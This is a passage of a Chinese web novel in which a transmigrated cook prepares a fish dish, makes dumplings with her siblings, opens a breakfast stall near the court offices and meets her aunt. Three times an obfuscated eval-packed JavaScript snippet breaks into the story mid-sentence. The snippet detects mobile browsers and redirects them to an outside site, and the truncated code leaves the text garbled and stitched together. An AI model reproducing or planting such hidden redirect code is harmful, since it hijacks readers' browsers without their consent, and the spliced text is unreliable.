蔡老只瞥了她一眼,就端着菜盘绕出了膳房。 膳徒却满眼新奇,在一旁道:“柳娘子,这尾鲜鱼是位老食客付了银子叫咱馆子买的。没点名要什么菜式,只叫蔡老拣拿手的做来。你打算怎么处置?” 若是不限定菜式,那便更好处理。 柳金枝勾唇一笑,道:“不如做一道蒜末鱼片。” 鱼片是种很常见的做法,就像现代很多人爱吃酸菜鱼片一样。 但可惜的是,现代随处可见的酸菜鱼饭馆大多采用预制菜,而并非捉活鱼现宰、现杀、现煮。 再加上这些预制菜也不过是用多种肉类打成沫,做成鱼片形状,当真吃起来,肉质软滑、口感古怪,并不似活鱼肉一般越吃越香,反而越吃,越觉得自个儿只是在吃鱼锅里头的八角、花椒等重口味调料而已。 所以在现代时,她很不喜欢出去下馆子,总是埋头在家里下厨。 预制菜,当真是现代美食爱好者的头等大敌。 柳金枝挑拣了一把重量均匀的菜刀,牢牢握在手中,先将鱼鳞尽数刮干净,再把鱼头切下,单独破成两半。 随后菜刀更换成片刀,把鱼放平,用右手扣住鱼身,在鱼的中心骨上面下刀,一路往下切,片下鱼身上层的肉。 在尾部斩断后,再将鱼翻面,依样画葫芦,就可再度片下鱼身下层的肉。 中间就只剩下鱼骨,也不要浪费,更换砍刀将鱼骨剁碎,放在小碗里备用。 剩下的鱼身肉切去鱼骨,刀口放斜,便能片出一碗切口漂亮整齐的鱼片。 看见这么干脆利落的刀工,膳徒不由惊叹:“娘子好厉害的手上功夫!怕是要三伏三九都苦练不休啊!” 柳金枝谦虚一笑,手腕翻转,在鱼片身上撒入几搓盐、两勺淀粉、三勺料酒、还有些许辛辣芥菜根粉末,用手抓拌均匀,晾在一旁腌制半盏茶时间。 期间,柳金枝提起水桶,往烧的正辣的铁锅内倒入清水,盖上锅盖。 大火猛烧之下,锅内清水很快沸腾。 蹲下来抽去大半柴火,将大火改为小火,她才将腌制好的鱼片依次下锅,慢慢熬煮,待看见雪白的鱼肉内质慢慢变为实白,周遭泛起鱼香,再将之捞起备用。 切记,此处的鱼肉万不可太晚捞出,否则水煮过甚,使肉片口感变老,吃到嘴里就不鲜滑爽嫩了。 好在柳金枝一直盯着火候,捞起的鱼片色泽、熟度都刚刚好。 接下来,就是预备调料的事儿了。 都说吃货应该去宋朝,实在是因为宋朝的各类制作工艺,特别是饮食方面,实在是登峰造极。 北宋时期,宋朝就出现了“素食”,并且独立成为一个菜系。为了给没有肉油煸香的“素食”调味,宋朝膳工们居然用上了植物油—— 花椒油。 于是花椒油就伴随着花椒一同在宋朝风靡,被广泛使用于各类菜肴之中,特别是冬季,御膳工们还会用此来给菜品提味,温中驱寒。 但是此类调味品仍然不能够满足宋朝人的胃口,于是在从陆地吃到河里,再吃到海上之后,北宋人发现有一物名唤海蛎子,也就是现在所说的生蚝,格外鲜美多汁,好吃到让人上瘾。 可野生海蛎子产量不多,又限制于季节,无法叫所有宋朝人都一饱口福。 为了扩大生产,北宋人就开始办起了养殖场,先是以“插竹养蚝”的方式人工饲养,后又大肆开办养蚝厂。 不过当时催办养蚝厂的人肯定想不到,在多年以后,竟然有人能由海蛎子身上提取出一种后世常用的调味品—— 蚝油。 柳金枝现下所处的朝代虽然架空,但时间线偏于宋朝后期,也就是说,蔡氏饭馆的调料罐里早就存了花椒油与蚝油两样。 而掀开罐盖子一瞧,也果真如此。 于是柳金枝取生抽一勺、蚝油一勺、老抽半勺、少量清水并适量花椒油,放置在一只酱料小盏之中,用竹箸搅拌均匀,静置一旁待用。 尔后又洗干净铁锅,塞入柴禾调成大火,猛烈烧枯锅中水分,绕圈淋上芝麻油,将膳房内本就洗净备好的蒜瓣放入锅中,反复煸炒,炸出蒜香。 再用勺子舀出两勺豆瓣酱放入锅内进行调味、调色。 当锅内汤汁逐渐变得鲜红滚辣,就趁热打铁倒入鱼片大幅度翻炒。 热辣辣的锅底将汤汁灼烧的滋滋响,嫩鱼片每被翻炒一次,都能全面滚过锅底,吸饱香辣底汁。 再将早就调好的料汁泼在鱼片身上,持圆头长柄大勺颠锅翻炒。 油落入火中,嘭的蹿出半人高的火舌,直冲屋顶! 膳徒被唬了一大跳,柳金枝却趁此翻锅落勺,利落将蒜末鱼片装盘。 “这膳房里是闹什么动静?怎的外头食客说见着火光冲天?!” 蔡老满头大汗,急急忙忙掀帘子进来。 “柳娘子,你莫将老朽的膳房烧……” 话说到半头,却似卡壳了一般再说不出分毫。 “好香的味道。” 蔡老的眼睛不由盯上柳金枝手里那盘菜,半晌才反应过来,震惊又不可思议。 “这是那条鱼?!” 柳金枝对着蔡老福身,笑道:“借用了贵馆些许调料,但也总算是不辱使命。” 将手中鱼转交给了蔡老。 离得近,这鱼香味儿更是浓郁,蔡老忍不住多闻了两口,只觉得口中生津,比他自己做的更加诱人。 若是把这鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458084|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呈给那位相公,他这嘴上也有说辞了。 于是赶忙转出膳房。 饭馆内,一名身着栗色外袍,披玄色大氅的青年男子正与一二友人对坐。 而男子旁边还坐着个年轻郎君,深绿色外袍,生的眉眼如清风朗月,金质玉相,文质彬彬,只是简单端坐在此,这四周都仿佛亮堂了不少。 “我知你来是为着什么。”青年男子满心担忧,“你姐姐自从有孕,就一直饮食不佳。为求她用膳顺遂些,我一直每日都买些她爱吃的带回去。她以前最爱吃蔡老做的鱼,我今日正是为此而来。” 傅霁景点头:“家父、家母也对此颇为忧虑,总叫我过府探望姐姐。今日我与姐姐相见,她却思虑不安,因说太常寺膳堂修缮,姐夫理应归家,但候了许久也不见姐夫身影,就嘱咐我出来寻你。” “嗐,我本是想买好鱼就回去,没成想今日这蔡老手脚这么慢,我等了许久都不见菜影,着实怠慢!” 柴靖脸色难看,眼中隐有怒火。 “许太医早就叮嘱你姐姐,孕中切忌多思,怕她胎动不安。现下都怪我,又招惹你姐姐不好了。” 言罢,再等候不得,直接起身要去膳房催促。 谁知正走到半道,蔡老就已经满脸堆笑地迎了上来,将一只精致食盒递来,口中连连赔罪道: “对不住了柴相公,今日膳房忙乱,耽搁了您的时间,小老儿给您赔罪了。” 柴靖本是不耐,但因心中记挂夫人,也就不与蔡老多搅合,只将这食盒一拿,道: “蔡老如此怠慢,想必这鱼的滋味应当比往日更甚。若我家夫人用的还算欢心,此事就此作罢。但若菜做的敷衍,我少不得要与你多做理论!” 尔后转身就走。 这般行事却叫人意想不到,将蔡老吓的不轻,慌张看向傅霁景。 傅霁景叹了口气,拢袖替柴靖致歉:“蔡老莫慌,我那姐夫性子急躁些,总是喜欢口不择言,惊扰您了。” “那、那这柴相公日后不会真来寻老朽麻烦吧?”蔡老语气惶恐。 “有我姐姐管着,他自然不会。”傅霁景道。 “那老朽便安心了,多谢郎君。”蔡老赶忙叉手下拜。 傅霁景摇摇头,陪同余下的几位太常寺官员一起离开。 款步行至门口时,听见身后蔡老似又庆幸,又似感激地说: “柳娘子,这回当真是多谢你了。来日你在太常寺边支起食摊,老朽必然送来利是红包,贺你生意兴隆!发财利市!” 傅霁景脚步一滞,回眸看去。 像是才从膳房里钻出来,少女一脸热汗,双颊也被蒸得红扑扑的,青丝零散,一小绺一小绺贴在白皙脸侧。可她似毫不在意,只抬起手随意擦去额上汗珠,双眸明亮如镜,红唇一张一合,对着蔡老不知在说些什么,却是眉开眼笑,十分开心的样子。 船上见面时柳金枝一言一行宛若大家闺秀,拘谨有礼的很,此时笑起来,倒像个不谙世事的邻家少女,大胆又充满着生机活力。 傅霁景不由一愣,尔后似是意识到自己犯了“非礼勿视”一戒,连忙转过头,耳尖发红,却再不敢看柳金枝了。 尔后,柳金枝与蔡老正好从蔡氏饭馆走出。 蔡老将一纸红底黑字告示贴于门板之上,笑道:“娘子手艺高超,又不吝出手相助,老朽自当投桃报李。” 柳金枝看向那方告示,只见其上大字书写—— “柳氏食摊,拟定隆兴十一月二十三辰时一刻,于太常寺外街盛大开业!” 11. 馉饳、馄饨 回到柳家旧宅时,柳霄已经将整日购买的东西安置妥当,正坐在烛火底下念书,月牙就乖巧地蹲在他身边玩耍。 只是让柳金枝意料不到的是项志轩居然也在,见着她便叉手下拜,满脸是笑:“柳娘子怎的才回来?倒叫在下好等。” 柳金枝疑惑而笑,道:“不知项郎君因何等奴?” “嗐,全是因着娘子今日一早给在下送的那碗烩面。”项志轩不好意思地挠头,“今日我有一同窗来寻我一同温书,却不想瞧见了娘子那碗烩面,就央告我分他尝了两箸。” “谁知这怪行货子五脏庙里头闹馋虫,尝了以后就不肯罢休,好说歹说又要了我半碗去。” “他吃的起兴,来问我膳工是哪位?要请回家去包私。我道出是位未出阁的年轻娘子,他便不提这话,而给了我这锭银子,央求娘子明日若再做朝食,不拘是什么,好歹给他留一份儿。” 柳金枝打眼一瞧,那锭银子应有一二两重。 现下家里正是愁银子的时候,她自然没有理由不答应。 “既是项郎君同窗的事儿,奴自当应下。”柳金枝微笑,“明个儿奴便做好朝食送到郎君家。” “若是娘子不嫌麻烦,也帮我留一份儿吧,这里是一两银子。”项志轩也递来一两。 可见今日他那位同窗又争又抢的,害得他只吃了半碗烩面,现下嘴里还在发馋。 柳金枝自然也是答应,拢袖收起银子。 这喜得项志轩连连叉手又拜了几拜,这才转回了自个儿房间。 柳霄见柳金枝终于得了空闲,就放下书本,起身去小膳房的蒸笼里取出一个用油纸包好的包裹递给柳金枝。 柳金枝拆开来,发现里头竟装了两个形容完好的炊饼。 这玩意儿武大郎也卖过,现代还衍生出武大郎烧饼,但烧饼是烧饼,炊饼却是馒头。 宋朝市面上,叫“饼”的食品至少有十几种,比如“环饼”是麻花、“索饼”是面条,而“乳饼”竟是奶豆腐。 但是古时候的筛面粉技术并没有现代的好,馒头也不如现代一样属于精细面食,反而有些粗糙剌嗓子。 “这是你专程给我买的?”柳金枝笑问。 “嗯。”柳霄抱起月牙,语气带着愧疚,“你在外面和那些人说话,肯定忙的吃不上饭,我就买了炊饼给你垫垫肚子。本来还有更好的顶皮酥果馅儿饼子,但我银钱不够,只能将就将就了。” “不将就,我就爱吃这个。” 柳金枝笑着摸摸柳霄的头。 还怕柳霄心思敏感不信她,就特意去膳房翻了碟酱瓜出来,将瓜包夹进馒头里,大口大口地吃。 柳霄见她狼吞虎咽,不由一笑:“哪家娘子像阿姐你这般吃相?”一面又给倒了杯清水递过来,“小心,别噎着。” 柳金枝接过清水一饮而尽,抹了一把嘴,笑道:“告诉你们个好消息,我今日已经与饭食行还有蔡老商议好了,明日辰时一刻,咱们柳氏食摊就在太常寺边儿上盛大开业!” “第一日做吃食,必然要一炮打响名气,把名声炒的红红火火,才能从早被挤占的市场中分一杯羹。” “所以第一,咱们得保证朝食味道好吃、种类繁多、价格实惠。我已想好了单子牌面,晚些时候写给你,你背下来,待到明日唱和给食客们听。” “第二,是银钱进账问题,咱们得写个账本,但我对这方面不甚精通,还是只能交与你来做。每日出账、入账都要计算清楚。” “第三,你写字好看,得动笔替咱家写个旗招子。就叫‘柳氏食摊’!上边儿再画个柳叶儿图案,这样就是不识字的,也不会找错地方。” 柳霄自然是点头。 许久不出声的月牙却扯扯柳金枝衣袖,仰着小脸问:“那阿姐,我做什么呢?” 这倒难为柳金枝了,月牙才五六岁,能做什么呢? 她只好笑道:“月牙年纪还小,等再大一些再来帮阿姐好不好?” 谁料月牙一本正经道:“阿姐莫要瞧我年纪小,就以为我帮不上什么忙,我可厉害着呢!” “以前哥哥没银子买书看,就常带我去书斋背书。一篇文章,哥哥背前半篇,我背后半篇,回家后一起默出来,就不用花银子了。” “有时候我背的比哥哥快,还能多默一篇文章出来。” “阿姐你又叫哥哥背单子牌面,又叫他算账、理账、写旗招子,不如叫我来背,我保管一个字都不会错!” 柳金枝倒惊讶月牙有这本事,笑道:“空口白牙可不算数,我当场写一纸出来,你若是在一刻钟之内背会了,我就把这事儿交与你办。” 于是提笔写菜名,满满当当一页纸交给月牙。 月牙接过纸张便低头默背,神色专注认真。 柳金枝抬眸看柳霄,柳霄却笑着对柳金枝点点头,眼眸里满是骄傲和自豪。 看来对自家妹妹背下这页单子牌面胸有成竹。 果不其然,用不了一刻钟的时间,月牙就把单子牌面交还给柳金枝,道:“我已在心中默熟了,这就背与阿姐听。” 言罢,清清嗓子,张口便道:“热粥与汤羹有小米粥、红豆粥、绿豆粥、灌肺、炒肝。面食与点心有包子、饺子、炊饼、糯米团子、荞麦饼……” 等月牙摇头晃脑背完,竟果然是一字不差。 柳金枝高兴地将月牙一把抱起,满心欢喜道:“想不到霄哥儿于算经一途天赋异禀,月牙又有过目不忘之能!咱们柳家人才辈出!” 月牙虽然早慧机敏,但毕竟还有孩童的几分羞涩内向,被柳金枝这么大肆一夸,倒不好意思地脸红起来,连忙扑腾着两条短腿滑溜下来缩到一边了。 柳金枝却不肯放过她,绕着圈儿地要去逗月牙,把个孩子逗的满脸羞红。 柳霄在旁边看她们玩闹,眸中笑意深深。 等到两人闹够了,他才微笑道:“阿姐,你一个人要准备这么多朝食定然忙不过来。卯时的时候我也来与你一同做,你支使我打些下手。” “你既如此说,那阿姐可不与你客气。”柳金枝将一缕青丝挽于耳后,双眸亮晶晶的,“毕竟明日早晨可是有一场硬仗要打的!” 一般食贩卖朝食,差不多都得做十几个扇笼。就说一个扇笼里放十个饼子,那柳金枝也得揉两百多个面团。 这是项大工程,两个人忙活也得好一阵。 所以天还没亮,柳金枝就提着红纸灯笼悄悄掀开暖帘,和柳霄一起钻进了膳房。 作为一个新上任的膳徒,柳霄虽然手艺生疏,但胜在听话,指哪儿打哪儿,做事一丝不苟。 所以揉面之类的精细活儿就全由柳金枝包揽,只一时吩咐柳霄道:“去将灶眼烧起两口。” 又一时说:“去打桶水将这些扇笼刷洗了。” 又一时高声道:“霄哥儿,再拿两个盆来装面团,盖层湿纱布等面性醒满!” 柳霄被支使的团团转,累的汗流浃背,忍不住双手扶住膝盖,停下喘息片刻。 但只是这片刻,左边那口灶眼火就小了。 柳金枝抽空飞快瞟了一眼,催促道:“霄哥儿,赶紧添柴!” 柳霄擦擦汗,费力将柴禾拆开塞入灶眼,脑中却莫名闪过那日柳金枝和月牙的对话: “阿姐的厨艺是向谁学的?” “孙府的膳工们。” “那些膳工们凶吗?” “很凶。” 以前的阿姐连锅都能烧坏,现在对厨艺却好似有十足把握。 也许在当年的孙府膳房内,阿姐也这么被支使过吧? 忙得团团转,却又歇不下来,一边挨骂,一边赔笑,一边却又累得筋疲力尽也不敢停。 阿姐其实过得一点儿也不好。 柳霄抿了抿唇,默默抬眸看向柳金枝。 柳金枝毫无察觉,还在尽力揉面,面色专注认真,那张清丽的脸庞上沁出细密汗珠,顺着流畅的脸蛋线条往下淌,濡湿浅色衣领交叠的脖颈。 “霄哥儿,去给我把擀面杖洗洗。”柳金枝头也不抬。 “……好。” 柳霄抽了抽鼻子,低头站起来去了。 柳金枝瞥了一眼柳霄的背影,似是觉得不对,但又没想出个所以然,就还是低头揉面。 费力将几盆子面都揉完,柳金枝甩了甩酸痛的胳膊,却来不及休息,又预备着做馅料。 今日她预备着做的几样面点,大多都得加馅儿。 考虑到宋朝人口味,她预备拌两盆不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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时至今日,浙南山区的人们还在使用这种方法,可见从古至今,大家都对蘑菇颇为偏爱。 而且买这一袋蘑菇也不贵,约莫二十来文。 柳金枝取了一半野山蕈出来洗净、切碎,接着又起锅烧油,将这些碎野山蕈来回翻炒到菇肉疲软,沁出汁水,就捞出放凉备用。 又把冬笋也洗净切碎,放入滚水中焯到熟,捞起来过凉水。 把两者混合倒入盆中,依照拌“猪肉白菜馅儿”,取盐、蚝油、菜籽油等。但与前者不同的是,野山蕈与冬笋本就都是植物,若全然用植物油,就少了肉类的一丝醇香,于是在此之前,还要额外放一些猪油进去。 如此搅拌均匀,这盆“野山蕈冬笋馅儿”也就好了。 此刻面性也已发满。 柳金枝干脆利落地揪拽了一团拍在面板上,接过柳霄递来的擀面杖,来回擀出一张女子巴掌大小的,四四方方的面皮,却不薄,倒像豆腐千张一样厚。 先是拖在手上,用勺子挖一大勺猪肉白菜的馅料填装进去,然后用手沿着对角线折起来,捏紧边缘,像是一个直角等腰三角形。再把两个角合拢,叠压捏紧。 这样就包成了一个小孩拳头大小的莲花,中间的花苞像含苞待放的骨朵。 这便是宋朝大街小巷都能看得到的平民美食——馉饳。 以现代人的眼光看,宋朝人的馉饳其实就是馄饨,但吃的花样比现代多,既可以煮着吃,也可以用铁签子串成一串,用火烤着吃。 想象一下像吃烧烤一样吃馄饨,就不由觉得好玩又好笑。 柳霄手艺笨拙,不知怎么包,就在旁边默默瞧,时不时给柳金枝擦擦汗。 约莫两刻钟后,柳金枝包好了两百余个,暂时放在笼子里,盖上层纱布放好。 尔后又开始包饺子。 宋朝把馄饨叫成馉饳,却把饺子叫成馄饨。 但不管怎么说,饺子的做法要比馉饳简单多了,不用做那么复杂的莲花造型,只用把封口封的结实漂亮就好。 这时候柳霄终于能帮得上忙,赶紧洗净手,套上襻膊过来,将活计都抢了过去,要包猪肉白菜和野山蕈冬笋的各一百五十个。 柳金枝让给他,自己又去做剩下的吃食。 样样准备齐全时,天边已经亮起半轮朝阳。 柳金枝擦擦汗,挑拣了几样朝食给项志轩和其同窗留下,道:“时辰差不多,咱担着担子走吧。” 柳霄点头,去叫了月牙洗脸刷牙起来,一家三口就租了辆驴车,将膳房里锅炉、扇笼、旗招子、小杌子等等器具都绑好,一路往御街去了。 12. 早市开业 一路行到太常寺对面,柳金枝将项志轩给的银子称出来五钱兑了铜子,便让柳霄将旗招子扬手一抖,高高挂起来。 此时已是卯时左右,街面已有行人来去,对这街面上多出来的一家新食摊亦是有些好奇。 趁此机会,柳金枝直接站上台阶,提高声量道:“诸位!走过路过莫要错过!咱们今日柳氏食摊正式开业,有铜钱开路,封利是红包!” 柳霄为了给柳金枝助声威,找隔壁米粮铺子借了个铜锣,大力敲击:“来来来,瞧一瞧!看一看!有利是红包!” 月牙也跟着出力,来一个人她就给人家鞠一躬,小身板摇摇晃晃,憋红了脸,道:“欢迎欢迎!” 若说有个食摊开业,众人倒没什么稀奇可看,但一听有利是铜子拿,立即就有人凑了过来瞧热闹,结果发现这新食摊还是拖家带口来开业的,做主的似乎还是个年轻漂亮的小娘子,不由觉得新奇。 但不拘是抱着什么想法,人总算是聚拢了一些。 柳金枝清清嗓子,提高音量道: “奴就是柳氏食摊的摊主,诸位大可唤奴一声柳娘子。” “今日在贵宝地开业经营食摊,早上兜售朝食,夜市也卖热菜。” “只要是您叫得上名字的,奴都能设法为您一一做来!寻常人家的饭食,咱家更是准备齐全!” 月牙立马接上话茬,小脸绷得紧紧的,一本正经道:“我们食摊上,冬日里有馉饳、包子、兜子、角子各类面点,还有……” 不愧是过目不忘,月牙一口气流利背出至少三十余种饭食,叫周围人面露惊奇之色,直夸赞: “好乖觉的娃娃!” “倒是没见过这般形式,当真新奇。” 同时,因着昨日蔡老襄助,现下也有人开始想起: “这个柳娘子虽然从未听过,但我昨日见到蔡老门前贴有一张红纸,特意介绍了柳氏食摊。” “蔡老在御街开店几十年,由他介绍的人必然不会有错。” …… 蔡老算是一个活招牌,柳金枝自然不吝惜于蹭蹭蔡老的热度。 于是她再度提高声音,笑道:“奴入食饭行,所拜行老就是蔡老。蔡老言传身教,所以奴摊上所有饮食必然价钱公道,用料实在!” 随后一抖茄袋,露出百十来个铜子。 “今日开业后,还要仰承各位父老乡亲们支持,今日将这利是喜钱洒与诸位,大伙儿一同沾沾喜气!” 便伸手一抓,抛着弧线洒出去,刹那间引起十几双手高举空中争抢。 与此同时,耳边传来几声鞭炮锣鼓齐天响,炸的红纸满天飞。 原来是有两个小子举着竹竿,一边燃放鞭炮,一边跑近,笑着恭贺柳金枝开业大吉。 再抬头一看,对街之处,蔡老站在蔡氏饭馆门前对着柳金枝遥遥叉手一拜。 原来这两个小童是蔡老请来,以鞭炮齐鸣祝柳金枝开业大喜。 柳金枝一笑,便也遥遥对着蔡老福身回礼。 正好众人已弯腰拾取了铜子,念在铜钱开街的面上,在柳氏食摊前面排起了长队。 柳金枝跳下台阶,招呼食客: “您要的炊饼两个,拨鱼儿一碗,承惠十五文!” “馉饳二两,承恵十文,我替您新鲜现煮,您旁边请好!” 柳金枝闪到一边下锅煮馉饳,柳霄则默契的闪身顶上,继续在摊前招揽生意。 月牙人矮个子小,站起来都没食摊高。眼瞧着帮不上什么忙,急得跟什么似的。 好在目前食客众多,又老有人点些个汤汤水水,柳金枝叫月牙去跑去问蔡老借了两套桌椅,摆在食摊旁边,让客人好坐下来慢慢享用。 月牙也就顺理成章的成为了“侍应生”,专管收盘子、洗盘子、擦桌子。 只是目前食摊上生意火爆,客人来了一拨又一拨,给小姑娘忙成了脚不沾地的旋螺。 柳金枝忙碌之余,抽空瞧月牙一眼。 小小的孩子坐在小杌子上埋头洗碗,腰深深弯下去,恨不得把自己也摔进盆里,却来不及休息,因为刚洗完一堆碗,便又有客人吃完,于是赶紧起来收拾桌椅板凳。 柳金枝心中微酸,心里默念: 一定要赚钱!一定要赚钱! 她不愿意月牙过这样的苦日子! 日头渐渐西移,御街人不减少,反而越来越多起来,整条街仿佛复苏了一般,逐渐人声鼎沸。 甚至还可以看见不少着茄紫、绯红、天青等颜色官袍的大人,一个个拉脸怂眉,极其疲惫,面如菜色般从宣德门缓缓走出,仿佛在皇宫中经历了一场饥荒。 有不甚讲究的武将,都顾不得礼数,急急忙冲到一个食摊面前,掏出银子就道:“来三大碗汤饼!” 汤饼就是面。 一口气要三大碗,可见这人要被饿急了眼。 但周围食贩对此见怪不怪,反而打趣着笑道:“卖汤饼的,快些做,当心王将军饿极了晕死在你摊上,到那时可分说不清楚。” 众人一同哄笑。 把个王将军急的大声反驳:“这事儿都过去几年了,你们怎么还笑我?要是叫你们一大清早也饿他个半日,一连饿上十多年,我瞧你们晕不晕。” 众食贩又笑,但都捧了自家兜售的朝食过去请王将军享用,王将军也不与他们生气,一一结过银钱,便埋头大快朵颐。 柳金枝略微疑惑。 当年柳家父母还在时,曾供柳霄念过几年圣贤书,因而柳霄在一旁解释道:“汴京城的高官们都得赶在五更之前去上朝,到辰时方才能散。” 五更是凌晨三点至五点,而辰时是上午七点到九点。 这么一算,宋朝官员每个人得饿着肚子,在皇宫里头像根棍子一样杵最多六个小时! 这要是遇上些血糖不高的官员,几天下来,不知要在皇宫里晕几回。 难怪这群人出来就一副面如菜色的模样。 都是活生生饿出来的。 不过此时就显出将食摊开在御街上的好处了,除却行人以外,这群官员就是最好的客户。 宋朝重文,每个文臣都有丰厚的俸禄。 所以这群人不仅有权,还很有钱! 柳金枝与柳霄对视一眼。 她清了清嗓子,深吸一口气:“卖朝食咯!卖朝食咯!新鲜上好的馉饳!馄饨!拨鱼儿!现场下,现场煮!” 女儿家的声音又清亮又甜美,像是一汪清冽甘美的山泉泼进来,顿时吸引了不少官员的视线。 一部分稍微年轻些的官员不由调转脚步,笑道:“哪儿来的一个新食摊?咱们且去尝尝。” 近前一看,却见食摊上虽然摆放着的都是些寻常饮食,旁边诸多食客吃的却津津有味,时而还有人赞叹: “当真美味!” “柳娘子,再来一碗!” “我也再要一碗!” …… 官员们颇为稀奇。 当真有这么好吃?莫不是这位年轻娘子为了在汴京城站稳脚跟,刻意请来了几个托儿吧? 几人对视一眼。 其中一位面白的清秀青年笑道:“柳……娘子?那些食客要多加一碗的是什么吃食?” 柳金枝对着几人福身,温声道:“回禀几位大人,是馉饳。” “有什么馅儿?” “白菜猪肉馅儿和野山蕈冬笋馅儿。”柳金枝眉眼带笑,清丽姿色晃得人目眩神摇,“不知几位大人喜欢什么馅儿的?” 面对美人洗手作羹汤,饭食好不好吃已经没什么要紧的了。 那青年便笑道:“那就野山蕈冬笋馅儿的,我们这五人一人一碗。” 手腕一翻,拿出一锭一两银子放在摊前。 柳金枝微笑:“是。” 于是利落挑拣了六十个馉饳赶入高汤之中,又请五人在旁边落座。 煮了约莫小一刻钟,几十个馉饳在汤中沉沉浮浮。 一看表皮已经略略发白,就知是熟了。 赶忙用笊篱捞起来,反扣入碗中,再放入葱姜蒜并老抽、酱油等调味,最后浇上一勺浓浓的高汤,热气滚滚冲天,香味儿扑鼻。 等到端上桌时,几人都有些新奇。 “居然这样香。”年轻官员拿起竹箸,“我先来试试。” 夹了一个馉饳咬了一口,眉毛便忍不住一挑。 他人见此,不由笑道:“怎的这幅表情?当真好吃?” 于是纷纷动箸。 没想到这一吃,便停不下来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458086|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这馅儿虽素,却格外鲜香美味。野山蕈鲜滑爽口,冬笋也清脆鲜香,这擀出来的面皮更是软滑弹牙,劲道的很! 直到把汤底都呼噜呼噜喝完,几人才回过神来。 还以为美人下厨足够赏心悦目也就罢了,没想到这吃食着实好吃。 几人对视一眼,不由为方才的轻视颇为羞愧。便都站起来与柳金枝叉手行了一拜,又多买了好些面点,这才去了。 又卖了约莫两刻,官员们也散的差不多了。 此时却有位锦帽貂裘的俊美大官人,骑着俊俏白马款款过来,身后跟着两三仆从,各自肩上都挑着货物,似是要去哪家送礼。 男人本是目不斜视,但路过柳氏食摊的时候,余光瞥见柳金枝锅中高汤熬的实在醇香浓厚,就停下马来,吩咐身边奴仆去买了碗馄饨。 正好馄饨只剩最后十六个,柳金枝干脆就一块儿煮了递与他,笑道:“多的算奴送的,不多收您的银子,算是给官人您取个六数,愿您六六大顺,心想事成,得贵人垂青。” 柳金枝肚子里多的是吉祥话,又耳聪目明,常挑人希冀之处加以恭祝,所以人缘很好,遇到难处时也有贵人愿意伸手帮一帮她。 果然,柳金枝这话正中男人下怀,便居高临下地瞥了柳金枝一眼,见柳金枝居然还是名容貌清丽的年轻娘子,不免勾唇一笑,声音低沉富有磁性: “那便承娘子吉言。” 言罢又随手掷出一件黑影,柳金枝下意识伸手去接,却不偏不倚,正落在她手心。 打开一看,却正是一两碎银。 男人轻笑道:“娘子嘴甜,这是赏钱。” 尔后叱一声夹紧马腹,信步而去。 “赏钱便有一两,这也太大方了。” 有个外乡食客不由惊叹。 “你不知,那可是潘大官人!”本地食客不屑,“他家中经营许多铺面生意,田宅千亩,奴仆成群。平日里便是挥金如土,赏钱给一两又如何?” 另有食客道:“但这般殷实家底,潘家却至今缺一位主母,全是因为潘大官人一心奉养寡母。如今寡母害病,他现下正打点礼品要亲自去请御医瞧病,也不知能不能请到。” 原来不仅是个富户,还是位孝子,难怪听了她的话便打赏一两银子。 柳金枝看了看手中银子,转手抛给柳霄:“收起来,算是今日进账。” 柳霄也面露微笑,高兴地把银子收了起来。 由于柳金枝成本和人力都有限,所以做的东西不多,还没到午时,就陆陆续续卖的差不多了。 生意比想象中的火爆,算是一个开门红。 月牙迫不及待想要清点今日赚了多少钱,于是一家三口做贼似地窝进食摊里头,围坐在一起,扒拉着手中的铜板一个个数。 一文、两文、三文…… 柳霄拨弄着算盘,最后缓缓停下手,低声道:“如若不算那位官人给的赏钱,今天仅靠我们自己,就挣了四百五十文!” 竟然有四百五十文! 月牙眼睛都瞪大了,嘴巴咧的大大的,难掩激动地扯着柳金枝的袖子:“阿姐!我们挣钱了!我们挣钱了!” 柳金枝也很高兴。 可是柳霄并不怎么激动,而是又拨弄起算盘,扣去了两个数,道:“我们虽然赚得多,但还没扣去成本。算上面钱、炭火钱、调料钱……咱们今天一上午所赚不过一百九十六文。” 平常市民一天净赚是百文左右,他们赚得一百九十六文已经算是不错了。 可是柳金枝的目标不仅仅只有赚得糊口钱。 她想要做夜市,想要将来有自己的铺面开饭馆,甚至于还想开座像樊楼一样的酒楼。 当然,万事开难头,她现在只有一个小小的食摊。 而想把这个小食摊做大做强,她还得重新装修摊子,买更多的桌椅,买好菜,买好肉,请专人帮忙…… 净成本必须得攒下五两银子才行! 如果只靠他们自己挣的,却不知要猴年马月才能攒够十两。 唉。 柳金枝叹了口气,幽幽地想:要是现在能有一大笔钱送上门就好了。 正思钱若渴时,耳边却传来中年妇人一声不可思议的惊呼:“你、你是金枝?!” 13. 黑心娘舅 柳金枝回眸一看,只见对面站着个妇人,约莫四十五岁光景,相貌平平,却打扮的花枝招展,用粉将一张脸揩的死人一样白,却越发衬出她眼尾细纹。 这人哪怕是化成灰了,柳金枝也不会忘了她。 “我当是谁呢。”柳金枝冷笑一声,“原来是舅母啊。” 邓章氏顶着柳金枝冷冽的眼神,又见柳霄、月牙竟然都围簇在她身边,不由讪笑道: 